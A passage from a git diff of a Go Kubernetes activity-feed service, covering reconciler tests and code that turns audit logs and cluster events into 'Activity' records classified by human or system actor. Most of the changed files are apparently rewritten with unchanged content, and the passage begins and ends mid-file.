Name: "test-reindex", + }, + } + + foundJob, err := reconciler.getJobForReindexJob(context.Background(), reindexJob) + require.NoError(t, err) + assert.Equal(t, "test-reindex-job", foundJob.Name) +} + +func TestCheckJobStatus(t *testing.T) { + t.Parallel() + + scheme := runtime.NewScheme() + require.NoError(t, v1alpha1.AddToScheme(scheme)) + require.NoError(t, batchv1.AddToScheme(scheme)) + + fakeClient := fake.NewClientBuilder(). + WithScheme(scheme). + Build() + + recorder := record.NewFakeRecorder(10) + + reconciler := &ReindexJobReconciler{ + Client: fakeClient, + JobClient: fakeClient, + Recorder: recorder, + } + + t.Run("job still running", func(t *testing.T) { + reindexJob := &v1alpha1.ReindexJob{ + ObjectMeta: metav1.ObjectMeta{ + Name: "test-reindex", + }, + Status: v1alpha1.ReindexJobStatus{ + Phase: v1alpha1.ReindexJobRunning, + }, + } + + job := &batchv1.Job{ + ObjectMeta: metav1.ObjectMeta{ + Name: "test-reindex-job", + }, + Status: batchv1.JobStatus{ + // No completion time - still running + }, + } + + result, err := reconciler.checkJobStatus(context.Background(), reindexJob, job) + require.NoError(t, err) + assert.Greater(t, result.RequeueAfter.Seconds(), float64(0), "should requeue to check again later") + }) + + t.Run("job completed successfully", func(t *testing.T) { + reindexJob := &v1alpha1.ReindexJob{ + ObjectMeta: metav1.ObjectMeta{ + Name: "test-reindex", + }, + Status: v1alpha1.ReindexJobStatus{ + Phase: v1alpha1.ReindexJobRunning, + }, + } + + now := metav1.Now() + job := &batchv1.Job{ + ObjectMeta: metav1.ObjectMeta{ + Name: "test-reindex-job", + }, + Status: batchv1.JobStatus{ + Succeeded: 1, + CompletionTime: &now, + }, + } + + result, err := reconciler.checkJobStatus(context.Background(), reindexJob, job) + require.NoError(t, err) + assert.Equal(t, int64(0), result.RequeueAfter.Nanoseconds(), "should not requeue for completed job") + }) + + t.Run("job failed", func(t *testing.T) { + reindexJob := &v1alpha1.ReindexJob{ + ObjectMeta: metav1.ObjectMeta{ + Name: "test-reindex", + }, + Status: v1alpha1.ReindexJobStatus{ + Phase: v1alpha1.ReindexJobRunning, + }, + } + + now := metav1.Now() + job := &batchv1.Job{ + ObjectMeta: metav1.ObjectMeta{ + Name: "test-reindex-job", + }, + Status: batchv1.JobStatus{ + Failed: 1, + CompletionTime: &now, + }, + } + + result, err := reconciler.checkJobStatus(context.Background(), reindexJob, job) + require.NoError(t, err) + assert.Equal(t, int64(0), result.RequeueAfter.Nanoseconds(), "should not requeue for completed job") + }) +} diff --git a/internal/processor/activity.go b/internal/processor/activity.go index 84ded593..65f5c2b6 100644 --- a/internal/processor/activity.go +++ b/internal/processor/activity.go @@ -1,241 +1,241 @@ -package processor - -import ( - "crypto/sha256" - "encoding/hex" - "encoding/json" - "fmt" - "time" - - metav1 "k8s.io/apimachinery/pkg/apis/meta/v1" - "k8s.io/apimachinery/pkg/runtime" - auditv1 "k8s.io/apiserver/pkg/apis/audit/v1" - - "go.miloapis.com/activity/internal/cel" - "go.miloapis.com/activity/pkg/apis/activity/v1alpha1" -) - -// activityName generates a deterministic activity name from the origin event -// identifier and the policy's resource target. The same input always produces -// the same name, enabling NATS message deduplication on retries. -func activityName(originType, originID, apiGroup, kind string) string { - h := sha256.New() - h.Write([]byte(originType)) - h.Write([]byte{0}) // separator - h.Write([]byte(originID)) - h.Write([]byte{0}) - h.Write([]byte(apiGroup)) - h.Write([]byte{0}) - h.Write([]byte(kind)) - return "act-" + hex.EncodeToString(h.Sum(nil))[:12] -} - -// ActivityBuilder contains the common fields needed to build an Activity. -type ActivityBuilder struct { - // Resource information from the policy - APIGroup string - Kind string -} - -// BuildFromAudit constructs an Activity from an audit event. -// If resolveKind is provided, it will be used to resolve resource names to Kind in links. -// Returns error if link conversion fails. -func (b *ActivityBuilder) BuildFromAudit( - audit *auditv1.Event, - summary string, - links []cel.Link, - resolveKind KindResolver, -) (*v1alpha1.Activity, error) { - // Extract timestamps - timestamp := audit.RequestReceivedTimestamp.Time - if timestamp.IsZero() { - timestamp = time.Now() - } - - // Extract resource info from ObjectRef - var namespace, resourceName, apiVersion string - if audit.ObjectRef != nil { - namespace = audit.ObjectRef.Namespace - resourceName = audit.ObjectRef.Name - apiVersion = audit.ObjectRef.APIVersion - } - - // Try to get UID from responseObject metadata - resourceUID := extractResponseUID(audit.ResponseObject) - - // Classify change source and resolve actor - changeSource := ClassifyChangeSource(audit.User) - actor := ResolveActor(audit.User) - tenant := ExtractTenant(audit.User) - - // Generate activity name - name := activityName("audit", string(audit.AuditID), b.APIGroup, b.Kind) - - // Convert links - activityLinks, err := ConvertLinks(links, resolveKind) - if err != nil { - return nil, fmt.Errorf("%w: %v", ErrActivityBuild, err) - } - - return &v1alpha1.Activity{ - TypeMeta: metav1.TypeMeta{ - APIVersion: v1alpha1.SchemeGroupVersion.String(), - Kind: "Activity", - }, - ObjectMeta: metav1.ObjectMeta{ - Name: name, - Namespace: namespace, - CreationTimestamp: metav1.NewTime(timestamp), - Labels: map[string]string{ - "activity.miloapis.com/origin-type": "audit", - "activity.miloapis.com/change-source": changeSource, - "activity.miloapis.com/api-group": b.APIGroup, - "activity.miloapis.com/resource-kind": b.Kind, - }, - }, - Spec: v1alpha1.ActivitySpec{ - Summary: summary, - ChangeSource: changeSource, - Actor: actor, - Resource: v1alpha1.ActivityResource{ - APIGroup: b.APIGroup, - APIVersion: apiVersion, - Kind: b.Kind, - Name: resourceName, - Namespace: namespace, - UID: resourceUID, - }, - Links: activityLinks, - Tenant: tenant, - Origin: v1alpha1.ActivityOrigin{ - Type: "audit", - ID: string(audit.AuditID), - }, - }, - }, nil -} - -// extractResponseUID extracts the UID from an audit response object's metadata. -func extractResponseUID(responseObject *runtime.Unknown) string { - if responseObject == nil || len(responseObject.Raw) == 0 { - return "" - } - - // We still need to unmarshal the raw response to get metadata.uid - var obj struct { - Metadata struct { - UID string `json:"uid"` - } `json:"metadata"` - } - if err := json.Unmarshal(responseObject.Raw, &obj); err != nil { - return "" - } - return obj.Metadata.UID -} - -// BuildFromEvent constructs an Activity from a Kubernetes event. -// If resolveKind is provided, it will be used to resolve resource names to Kind in links. -// Returns error if link conversion fails. -func (b *ActivityBuilder) BuildFromEvent( - eventMap map[string]interface{}, - summary string, - links []cel.Link, - resolveKind KindResolver, -) (*v1alpha1.Activity, error) { - regarding, _ := eventMap["regarding"].(map[string]interface{}) - - // Extract timestamps - var timestamp time.Time - if ts, ok := eventMap["eventTime"].(string); ok { - if t, err := time.Parse(time.RFC3339Nano, ts); err == nil { - timestamp = t - } - } - if timestamp.IsZero() { - if metadata, ok := eventMap["metadata"].(map[string]interface{}); ok { - if ts, ok := metadata["creationTimestamp"].(string); ok { - if t, err := time.Parse(time.RFC3339, ts); err == nil { - timestamp = t - } - } - } - } - if timestamp.IsZero() { - timestamp = time.Now() - } - - // Extract resource info from regarding - namespace := GetNestedString(regarding, "namespace") - resourceName := GetNestedString(regarding, "name") - resourceUID := GetNestedString(regarding, "uid") - apiVersion := GetNestedString(regarding, "apiVersion") - - // Events are typically system-generated - changeSource := ChangeSourceSystem - - // For events, actor is usually the reporting component - reportingController := GetNestedString(eventMap, "reportingController") - actor := v1alpha1.ActivityActor{ - Type: ActorTypeSystem, - Name: reportingController, - } - if actor.Name == "" { - actor.Name = "unknown" - } - - // Extract tenant from scope annotations; fall back to platform scope when absent. - tenant := ExtractTenantFromAnnotations(eventMap) - - // Get event UID for origin (extracted before name generation so it can be - // used as input to the deterministic name hash). - eventUID := "" - if metadata, ok := eventMap["metadata"].(map[string]interface{}); ok { - eventUID = GetNestedString(metadata, "uid") - } - - // Generate activity name - name := activityName("event", eventUID, b.APIGroup, b.Kind) - - // Convert links - activityLinks, err := ConvertLinks(links, resolveKind) - if err != nil { - return nil, fmt.Errorf("%w: %v", ErrActivityBuild, err) - } - - return &v1alpha1.Activity{ - TypeMeta: metav1.TypeMeta{ - APIVersion: v1alpha1.SchemeGroupVersion.String(), - Kind: "Activity", - }, - ObjectMeta: metav1.ObjectMeta{ - Name: name, - Namespace: namespace, - CreationTimestamp: metav1.NewTime(timestamp), - Labels: map[string]string{ - "activity.miloapis.com/origin-type": "event", - "activity.miloapis.com/change-source": changeSource, - "activity.miloapis.com/api-group": b.APIGroup, - "activity.miloapis.com/resource-kind": b.Kind, - }, - }, - Spec: v1alpha1.ActivitySpec{ - Summary: summary, - ChangeSource: changeSource, - Actor: actor, - Resource: v1alpha1.ActivityResource{ - APIGroup: b.APIGroup, - APIVersion: apiVersion, - Kind: b.Kind, - Name: resourceName, - Namespace: namespace, - UID: resourceUID, - }, - Links: activityLinks, - Tenant: tenant, - Origin: v1alpha1.ActivityOrigin{ - Type: "event", - ID: eventUID, - }, - }, - }, nil -} +package processor + +import ( + "crypto/sha256" + "encoding/hex" + "encoding/json" + "fmt" + "time" + + metav1 "k8s.io/apimachinery/pkg/apis/meta/v1" + "k8s.io/apimachinery/pkg/runtime" + auditv1 "k8s.io/apiserver/pkg/apis/audit/v1" + + "go.miloapis.com/activity/internal/cel" + "go.miloapis.com/activity/pkg/apis/activity/v1alpha1" +) + +// activityName generates a deterministic activity name from the origin event +// identifier and the policy's resource target. The same input always produces +// the same name, enabling NATS message deduplication on retries. +func activityName(originType, originID, apiGroup, kind string) string { + h := sha256.New() + h.Write([]byte(originType)) + h.Write([]byte{0}) // separator + h.Write([]byte(originID)) + h.Write([]byte{0}) + h.Write([]byte(apiGroup)) + h.Write([]byte{0}) + h.Write([]byte(kind)) + return "act-" + hex.EncodeToString(h.Sum(nil))[:12] +} + +// ActivityBuilder contains the common fields needed to build an Activity. +type ActivityBuilder struct { + // Resource information from the policy + APIGroup string + Kind string +} + +// BuildFromAudit constructs an Activity from an audit event. +// If resolveKind is provided, it will be used to resolve resource names to Kind in links. +// Returns error if link conversion fails. +func (b *ActivityBuilder) BuildFromAudit( + audit *auditv1.Event, + summary string, + links []cel.Link, + resolveKind KindResolver, +) (*v1alpha1.Activity, error) { + // Extract timestamps + timestamp := audit.RequestReceivedTimestamp.Time + if timestamp.IsZero() { + timestamp = time.Now() + } + + // Extract resource info from ObjectRef + var namespace, resourceName, apiVersion string + if audit.ObjectRef != nil { + namespace = audit.ObjectRef.Namespace + resourceName = audit.ObjectRef.Name + apiVersion = audit.ObjectRef.APIVersion + } + + // Try to get UID from responseObject metadata + resourceUID := extractResponseUID(audit.ResponseObject) + + // Classify change source and resolve actor + changeSource := ClassifyChangeSource(audit.User) + actor := ResolveActor(audit.User) + tenant := ExtractTenant(audit.User) + + // Generate activity name + name := activityName("audit", string(audit.AuditID), b.APIGroup, b.Kind) + + // Convert links + activityLinks, err := ConvertLinks(links, resolveKind) + if err != nil { + return nil, fmt.Errorf("%w: %v", ErrActivityBuild, err) + } + + return &v1alpha1.Activity{ + TypeMeta: metav1.TypeMeta{ + APIVersion: v1alpha1.SchemeGroupVersion.String(), + Kind: "Activity", + }, + ObjectMeta: metav1.ObjectMeta{ + Name: name, + Namespace: namespace, + CreationTimestamp: metav1.NewTime(timestamp), + Labels: map[string]string{ + "activity.miloapis.com/origin-type": "audit", + "activity.miloapis.com/change-source": changeSource, + "activity.miloapis.com/api-group": b.APIGroup, + "activity.miloapis.com/resource-kind": b.Kind, + }, + }, + Spec: v1alpha1.ActivitySpec{ + Summary: summary, + ChangeSource: changeSource, + Actor: actor, + Resource: v1alpha1.ActivityResource{ + APIGroup: b.APIGroup, + APIVersion: apiVersion, + Kind: b.Kind, + Name: resourceName, + Namespace: namespace, + UID: resourceUID, + }, + Links: activityLinks, + Tenant: tenant, + Origin: v1alpha1.ActivityOrigin{ + Type: "audit", + ID: string(audit.AuditID), + }, + }, + }, nil +} + +// extractResponseUID extracts the UID from an audit response object's metadata. +func extractResponseUID(responseObject *runtime.Unknown) string { + if responseObject == nil || len(responseObject.Raw) == 0 { + return "" + } + + // We still need to unmarshal the raw response to get metadata.uid + var obj struct { + Metadata struct { + UID string `json:"uid"` + } `json:"metadata"` + } + if err := json.Unmarshal(responseObject.Raw, &obj); err != nil { + return "" + } + return obj.Metadata.UID +} + +// BuildFromEvent constructs an Activity from a Kubernetes event. +// If resolveKind is provided, it will be used to resolve resource names to Kind in links. +// Returns error if link conversion fails. +func (b *ActivityBuilder) BuildFromEvent( + eventMap map[string]interface{}, + summary string, + links []cel.Link, + resolveKind KindResolver, +) (*v1alpha1.Activity, error) { + regarding, _ := eventMap["regarding"].(map[string]interface{}) + + // Extract timestamps + var timestamp time.Time + if ts, ok := eventMap["eventTime"].(string); ok { + if t, err := time.Parse(time.RFC3339Nano, ts); err == nil { + timestamp = t + } + } + if timestamp.IsZero() { + if metadata, ok := eventMap["metadata"].(map[string]interface{}); ok { + if ts, ok := metadata["creationTimestamp"].(string); ok { + if t, err := time.Parse(time.RFC3339, ts); err == nil { + timestamp = t + } + } + } + } + if timestamp.IsZero() { + timestamp = time.Now() + } + + // Extract resource info from regarding + namespace := GetNestedString(regarding, "namespace") + resourceName := GetNestedString(regarding, "name") + resourceUID := GetNestedString(regarding, "uid") + apiVersion := GetNestedString(regarding, "apiVersion") + + // Events are typically system-generated + changeSource := ChangeSourceSystem + + // For events, actor is usually the reporting component + reportingController := GetNestedString(eventMap, "reportingController") + actor := v1alpha1.ActivityActor{ + Type: ActorTypeSystem, + Name: reportingController, + } + if actor.Name == "" { + actor.Name = "unknown" + } + + // Extract tenant from scope annotations; fall back to platform scope when absent. + tenant := ExtractTenantFromAnnotations(eventMap) + + // Get event UID for origin (extracted before name generation so it can be + // used as input to the deterministic name hash). + eventUID := "" + if metadata, ok := eventMap["metadata"].(map[string]interface{}); ok { + eventUID = GetNestedString(metadata, "uid") + } + + // Generate activity name + name := activityName("event", eventUID, b.APIGroup, b.Kind) + + // Convert links + activityLinks, err := ConvertLinks(links, resolveKind) + if err != nil { + return nil, fmt.Errorf("%w: %v", ErrActivityBuild, err) + } + + return &v1alpha1.Activity{ + TypeMeta: metav1.TypeMeta{ + APIVersion: v1alpha1.SchemeGroupVersion.String(), + Kind: "Activity", + }, + ObjectMeta: metav1.ObjectMeta{ + Name: name, + Namespace: namespace, + CreationTimestamp: metav1.NewTime(timestamp), + Labels: map[string]string{ + "activity.miloapis.com/origin-type": "event", + "activity.miloapis.com/change-source": changeSource, + "activity.miloapis.com/api-group": b.APIGroup, + "activity.miloapis.com/resource-kind": b.Kind, + }, + }, + Spec: v1alpha1.ActivitySpec{ + Summary: summary, + ChangeSource: changeSource, + Actor: actor, + Resource: v1alpha1.ActivityResource{ + APIGroup: b.APIGroup, + APIVersion: apiVersion, + Kind: b.Kind, + Name: resourceName, + Namespace: namespace, + UID: resourceUID, + }, + Links: activityLinks, + Tenant: tenant, + Origin: v1alpha1.ActivityOrigin{ + Type: "event", + ID: eventUID, + }, + }, + }, nil +} diff --git a/internal/processor/classifier.go b/internal/processor/classifier.go index 84e01ac1..90df26d0 100644 --- a/internal/processor/classifier.go +++ b/internal/processor/classifier.go @@ -1,76 +1,76 @@ -package processor - -import ( - "strings" - - authnv1 "k8s.io/api/authentication/v1" - - "go.miloapis.com/activity/pkg/apis/activity/v1alpha1" -) - -// ChangeSource constants for activity classification. -const ( - ChangeSourceHuman = "human" - ChangeSourceSystem = "system" -) - -// ClassifyChangeSource determines whether an activity was initiated by a human -// or by the system (controllers, service accounts, etc.). -// System accounts always use a "system:" prefix for the username. -func ClassifyChangeSource(user authnv1.UserInfo) string { - if strings.HasPrefix(user.Username, "system:") { - return ChangeSourceSystem - } - - return ChangeSourceHuman -} - -// ActorType constants for actor classification. -const ( - ActorTypeUser = "user" - ActorTypeSystem = "system" - ActorTypeController = "controller" -) - -// ResolveActor extracts actor information from the audit user field. -// -// Actor types: -// - user: Human users authenticated via OIDC or other providers -// - system: Kubernetes controllers, service accounts, and other system components -func ResolveActor(user authnv1.UserInfo) v1alpha1.ActivityActor { - actor := v1alpha1.ActivityActor{ - UID: user.UID, - } - - // Detect actor type based on username pattern - if strings.HasPrefix(user.Username, "system:") { - // System component (controller, service account, node, etc.) - actor.Type = ActorTypeSystem - actor.Name = strings.TrimPrefix(user.Username, "system:") - } else { - // Human user - actor.Type = ActorTypeUser - actor.Name = user.Username - } - - // Populate email field if username looks like an email - if strings.Contains(user.Username, "@") { - actor.Email = user.Username - } - - if actor.Name == "" { - actor.Name = "unknown" - } - - return actor -} - -// IsSystemActor returns true if the actor represents a system component. -func IsSystemActor(actor v1alpha1.ActivityActor) bool { - return actor.Type == ActorTypeSystem -} - -// IsHumanActor returns true if the actor represents a human user. -func IsHumanActor(actor v1alpha1.ActivityActor) bool { - return actor.Type == ActorTypeUser -} +package processor + +import ( + "strings" + + authnv1 "k8s.io/api/authentication/v1" + + "go.miloapis.com/activity/pkg/apis/activity/v1alpha1" +) + +// ChangeSource constants for activity classification. +const ( + ChangeSourceHuman = "human" + ChangeSourceSystem = "system" +) + +// ClassifyChangeSource determines whether an activity was initiated by a human +// or by the system (controllers, service accounts, etc.). +// System accounts always use a "system:" prefix for the username. +func ClassifyChangeSource(user authnv1.UserInfo) string { + if strings.HasPrefix(user.Username, "system:") { + return ChangeSourceSystem + } + + return ChangeSourceHuman +} + +// ActorType constants for actor classification. +const ( + ActorTypeUser = "user" + ActorTypeSystem = "system" + ActorTypeController = "controller" +) + +// ResolveActor extracts actor information from the audit user field. +// +// Actor types: +// - user: Human users authenticated via OIDC or other providers +// - system: Kubernetes controllers, service accounts, and other system components +func ResolveActor(user authnv1.UserInfo) v1alpha1.ActivityActor { + actor := v1alpha1.ActivityActor{ + UID: user.UID, + } + + // Detect actor type based on username pattern + if strings.HasPrefix(user.Username, "system:") { + // System component (controller, service account, node, etc.) + actor.Type = ActorTypeSystem + actor.Name = strings.TrimPrefix(user.Username, "system:") + } else { + // Human user + actor.Type = ActorTypeUser + actor.Name = user.Username + } + + // Populate email field if username looks like an email + if strings.Contains(user.Username, "@") { + actor.Email = user.Username + } + + if actor.Name == "" { + actor.Name = "unknown" + } + + return actor +} + +// IsSystemActor returns true if the actor represents a system component. +func IsSystemActor(actor v1alpha1.ActivityActor) bool { + return actor.Type == ActorTypeSystem +} + +// IsHumanActor returns true if the actor represents a human user. +func IsHumanActor(actor v1alpha1.ActivityActor) bool { + return actor.Type == ActorTypeUser +} diff --git a/internal/processor/evaluate.go b/internal/processor/evaluate.go index 28ae8f26..66e64a27 100644 --- a/internal/processor/evaluate.go +++ b/internal/processor/evaluate.go @@ -1,161 +1,161 @@ -package processor - -import ( - "encoding/json" - "fmt" - - auditv1 "k8s.io/apiserver/pkg/apis/audit/v1" - - "go.miloapis.com/activity/internal/cel" - "go.miloapis.com/activity/pkg/apis/activity/v1alpha1" -) - -// EvaluationResult contains the result of evaluating policy rules against an input. -type EvaluationResult struct { - // Activity is the generated activity, or nil if no rule matched - Activity *v1alpha1.Activity - - // MatchedRuleIndex is the index of the rule that matched, or -1 if none matched - MatchedRuleIndex int - - // MatchedRuleType is "audit" or "event" depending on which rule matched - MatchedRuleType string - - // MatchedRuleName is the name of the matched rule from the policy spec - MatchedRuleName string -} - -// EvaluateAuditRules evaluates audit rules against an audit log input. -// Returns the generated Activity if a rule matches, or nil if no rule matched. -// If resolveKind is provided, it will be used to resolve resource names to Kind in links. -func EvaluateAuditRules( - spec *v1alpha1.ActivityPolicySpec, - audit *auditv1.Event, - resolveKind KindResolver, -) (*EvaluationResult, error) { - // Convert to map for CEL evaluation - auditMap, err := toMap(audit) - if err != nil { - return nil, fmt.Errorf("failed to convert audit data: %w", err) - } - - // Create activity builder - builder := &ActivityBuilder{ - APIGroup: spec.Resource.APIGroup, - Kind: spec.Resource.Kind, - } - - // Try each audit rule in order - for i, rule := range spec.AuditRules { - matched, err := cel.EvaluateAuditMatchMap(rule.Match, auditMap) - if err != nil { - return nil, fmt.Errorf("failed to evaluate rule %d match: %w", i, err) - } - - if matched { - // Generate summary - summary, links, err := cel.EvaluateAuditSummaryMap(rule.Summary, auditMap) - if err != nil { - return nil, fmt.Errorf("failed to evaluate rule %d summary: %w", i, err) - } - - // Build the Activity - activity, err := builder.BuildFromAudit(audit, summary, links, resolveKind) - if err != nil { - return nil, fmt.Errorf("failed to build activity for rule %d: %w", i, err) - } - - return &EvaluationResult{ - Activity: activity, - MatchedRuleIndex: i, - MatchedRuleType: "audit", - MatchedRuleName: rule.Name, - }, nil - } - } - - // No rule matched - return &EvaluationResult{ - MatchedRuleIndex: -1, - }, nil -} - -// EvaluateEventRules evaluates event rules against a Kubernetes event input. -// Returns the generated Activity if a rule matches, or nil if no rule matched. -// If resolveKind is provided, it will be used to resolve resource names to Kind in links. -func EvaluateEventRules( - spec *v1alpha1.ActivityPolicySpec, - eventData interface{}, - resolveKind KindResolver, -) (*EvaluationResult, error) { - // Convert event data to map if needed - eventMap, err := toMap(eventData) - if err != nil { - return nil, fmt.Errorf("failed to convert event data: %w", err) - } - - // Create activity builder - builder := &ActivityBuilder{ - APIGroup: spec.Resource.APIGroup, - Kind: spec.Resource.Kind, - } - - // Try each event rule in order - for i, rule := range spec.EventRules { - matched, err := cel.EvaluateEventMatch(rule.Match, eventMap) - if err != nil { - return nil, fmt.Errorf("failed to evaluate rule %d match: %w", i, err) - } - - if matched { - // Generate summary - summary, links, err := cel.EvaluateEventSummary(rule.Summary, eventMap) - if err != nil { - return nil, fmt.Errorf("failed to evaluate rule %d summary: %w", i, err) - } - - // Build the Activity - activity, err := builder.BuildFromEvent(eventMap, summary, links, resolveKind) - if err != nil { - return nil, fmt.Errorf("failed to build activity for rule %d: %w", i, err) - } - - return &EvaluationResult{ - Activity: activity, - MatchedRuleIndex: i, - MatchedRuleType: "event", - MatchedRuleName: rule.Name, - }, nil - } - } - - // No rule matched - return &EvaluationResult{ - MatchedRuleIndex: -1, - }, nil -} - -// toMap converts various input types to map[string]interface{}. -func toMap(data interface{}) (map[string]interface{}, error) { - switch v := data.(type) { - case map[string]interface{}: - return v, nil - case *map[string]interface{}: - if v == nil { - return nil, fmt.Errorf("nil map pointer") - } - return *v, nil - default: - // Try JSON marshaling as a fallback - jsonData, err := json.Marshal(data) - if err != nil { - return nil, fmt.Errorf("failed to marshal data: %w", err) - } - - var m map[string]interface{} - if err := json.Unmarshal(jsonData, &m); err != nil { - return nil, fmt.Errorf("failed to unmarshal to map: %w", err) - } - return m, nil - } -} +package processor + +import ( + "encoding/json" + "fmt" + + auditv1 "k8s.io/apiserver/pkg/apis/audit/v1" + + "go.miloapis.com/activity/internal/cel" + "go.miloapis.com/activity/pkg/apis/activity/v1alpha1" +) + +// EvaluationResult contains the result of evaluating policy rules against an input. +type EvaluationResult struct { + // Activity is the generated activity, or nil if no rule matched + Activity *v1alpha1.Activity + + // MatchedRuleIndex is the index of the rule that matched, or -1 if none matched + MatchedRuleIndex int + + // MatchedRuleType is "audit" or "event" depending on which rule matched + MatchedRuleType string + + // MatchedRuleName is the name of the matched rule from the policy spec + MatchedRuleName string +} + +// EvaluateAuditRules evaluates audit rules against an audit log input. +// Returns the generated Activity if a rule matches, or nil if no rule matched. +// If resolveKind is provided, it will be used to resolve resource names to Kind in links. +func EvaluateAuditRules( + spec *v1alpha1.ActivityPolicySpec, + audit *auditv1.Event, + resolveKind KindResolver, +) (*EvaluationResult, error) { + // Convert to map for CEL evaluation + auditMap, err := toMap(audit) + if err != nil { + return nil, fmt.Errorf("failed to convert audit data: %w", err) + } + + // Create activity builder + builder := &ActivityBuilder{ + APIGroup: spec.Resource.APIGroup, + Kind: spec.Resource.Kind, + } + + // Try each audit rule in order + for i, rule := range spec.AuditRules { + matched, err := cel.EvaluateAuditMatchMap(rule.Match, auditMap) + if err != nil { + return nil, fmt.Errorf("failed to evaluate rule %d match: %w", i, err) + } + + if matched { + // Generate summary + summary, links, err := cel.EvaluateAuditSummaryMap(rule.Summary, auditMap) + if err != nil { + return nil, fmt.Errorf("failed to evaluate rule %d summary: %w", i, err) + } + + // Build the Activity + activity, err := builder.BuildFromAudit(audit, summary, links, resolveKind) + if err != nil { + return nil, fmt.Errorf("failed to build activity for rule %d: %w", i, err) + } + + return &EvaluationResult{ + Activity: activity, + MatchedRuleIndex: i, + MatchedRuleType: "audit", + MatchedRuleName: rule.Name, + }, nil + } + } + + // No rule matched + return &EvaluationResult{ + MatchedRuleIndex: -1, + }, nil +} + +// EvaluateEventRules evaluates event rules against a Kubernetes event input. +// Returns the generated Activity if a rule matches, or nil if no rule matched. +// If resolveKind is provided, it will be used to resolve resource names to Kind in links. +func EvaluateEventRules( + spec *v1alpha1.ActivityPolicySpec, + eventData interface{}, + resolveKind KindResolver, +) (*EvaluationResult, error) { + // Convert event data to map if needed + eventMap, err := toMap(eventData) + if err != nil { + return nil, fmt.Errorf("failed to convert event data: %w", err) + } + + // Create activity builder + builder := &ActivityBuilder{ + APIGroup: spec.Resource.APIGroup, + Kind: spec.Resource.Kind, + } + + // Try each event rule in order + for i, rule := range spec.EventRules { + matched, err := cel.EvaluateEventMatch(rule.Match, eventMap) + if err != nil { + return nil, fmt.Errorf("failed to evaluate rule %d match: %w", i, err) + } + + if matched { + // Generate summary + summary, links, err := cel.EvaluateEventSummary(rule.Summary, eventMap) + if err != nil { + return nil, fmt.Errorf("failed to evaluate rule %d summary: %w", i, err) + } + + // Build the Activity + activity, err := builder.BuildFromEvent(eventMap, summary, links, resolveKind) + if err != nil { + return nil, fmt.Errorf("failed to build activity for rule %d: %w", i, err) + } + + return &EvaluationResult{ + Activity: activity, + MatchedRuleIndex: i, + MatchedRuleType: "event", + MatchedRuleName: rule.Name, + }, nil + } + } + + // No rule matched + return &EvaluationResult{ + MatchedRuleIndex: -1, + }, nil +} + +// toMap converts various input types to map[string]interface{}. +func toMap(data interface{}) (map[string]interface{}, error) { + switch v := data.(type) { + case map[string]interface{}: + return v, nil + case *map[string]interface{}: + if v == nil { + return nil, fmt.Errorf("nil map pointer") + } + return *v, nil + default: + // Try JSON marshaling as a fallback + jsonData, err := json.Marshal(data) + if err != nil { + return nil, fmt.Errorf("failed to marshal data: %w", err) + } + + var m map[string]interface{} + if err := json.Unmarshal(jsonData, &m); err != nil { + return nil, fmt.Errorf("failed to unmarshal to map: %w", err) + } + return m, nil + } +} diff --git a/pkg/apis/activity/v1alpha1/types_activity.go b/pkg/apis/activity/v1alpha1/types_activity.go index df15deed..bfbb05da 100644 --- a/pkg/apis/activity/v1alpha1/types_activity.go +++ b/pkg/apis/activity/v1alpha1/types_activity.go @@ -1,241 +1,241 @@ -// +k8s:openapi-gen=true -package v1alpha1 - -import ( - metav1 "k8s.io/apimachinery/pkg/apis/meta/v1" -) - -// +genclient -// +k8s:deepcopy-gen:interfaces=k8s.io/apimachinery/pkg/runtime.Object - -// Activity is a human-readable summary of something that happened in your cluster. -// Think of it as the "what changed and who did it" record that powers activity feeds, -// audit trails, and change history views. -// -// Activities are created automatically from audit logs and Kubernetes events based on -// your ActivityPolicy rules. They're read-only - you query them, not create them. -// -// # Accessing Activities -// -// There are three ways to get activity data, depending on what you need: -// -// | What you need | API to use | Notes | -// | --- | --- | --- | -// | Live feed | GET /activities?watch=true | Streams new activities as they happen. List only returns the last hour. | -// | Search history | POST /activityqueries | Query any time range with filters, search, and pagination. | -// | Filter options | POST /activityfacetqueries | Get values for dropdowns (e.g., "which actors have activities?"). | -// -// # Quick Examples -// -// Watch for new activities: -// -// kubectl get activities --watch -// -// List recent human-initiated changes: -// -// kubectl get activities --field-selector spec.changeSource=human -// -// For historical queries or advanced filtering, use ActivityQuery instead. -type Activity struct { - metav1.TypeMeta `json:",inline"` - metav1.ObjectMeta `json:"metadata,omitempty"` - - Spec ActivitySpec `json:"spec"` -} - -// ActivitySpec contains the translated activity details. -type ActivitySpec struct { - // Summary is the human-readable description of what happened. - // Generated from ActivityPolicy templates. - // - // Example: "alice created HTTP proxy api-gateway" - // - // +required - Summary string `json:"summary"` - - // ChangeSource indicates who initiated the change. - // Used to filter human actions from system reconciliation noise. - // - // Values: - // - "human": User action via kubectl, API, or UI - // - "system": Controller reconciliation, operator actions, scheduled jobs - // - // +required - ChangeSource string `json:"changeSource"` - - // Actor identifies who performed the action. - // - // +required - Actor ActivityActor `json:"actor"` - - // Resource identifies the Kubernetes resource that was affected. - // - // +required - Resource ActivityResource `json:"resource"` - - // Links contains clickable references found in the summary. - // The portal uses these to make resource names in the summary clickable. - // - // +optional - // +listType=atomic - Links []ActivityLink `json:"links,omitempty"` - - // Tenant identifies the scope for multi-tenant isolation. - // - // +required - Tenant ActivityTenant `json:"tenant"` - - // Changes contains field-level changes for update/patch operations. - // Shows old and new values for modified fields. - // - // NOTE: This field may be empty in the initial implementation. - // Populating old values requires resource history lookups. - // - // +optional - // +listType=atomic - Changes []ActivityChange `json:"changes,omitempty"` - - // Origin identifies the source record for correlation. - // - // +required - Origin ActivityOrigin `json:"origin"` -} - -// ActivityActor identifies who performed an action. -type ActivityActor struct { - // Type indicates the actor category. - // Values: "user", "serviceaccount", "controller" - // - // +required - Type string `json:"type"` - - // Name is the display name for the actor. - // For users, this is typically the email address. - // For service accounts, this is the full name (e.g., "system:serviceaccount:default:my-sa"). - // For controllers, this is the controller name. - // - // +required - Name string `json:"name"` - - // UID is the unique identifier for the actor. - // Stable across username changes. - // - // +optional - UID string `json:"uid,omitempty"` - - // Email is the actor's email address. - // Only populated for user actors when available. - // - // +optional - Email string `json:"email,omitempty"` -} - -// ActivityResource identifies the Kubernetes resource affected by an activity. -type ActivityResource struct { - // APIGroup is the API group of the resource. - // Empty string for core API group. - // - // +optional - APIGroup string `json:"apiGroup,omitempty"` - - // APIVersion is the API version of the resource. - // - // +required - APIVersion string `json:"apiVersion"` - - // Kind is the kind of the resource. - // - // +required - Kind string `json:"kind"` - - // Name is the name of the resource. - // - // +required - Name string `json:"name"` - - // Namespace is the namespace 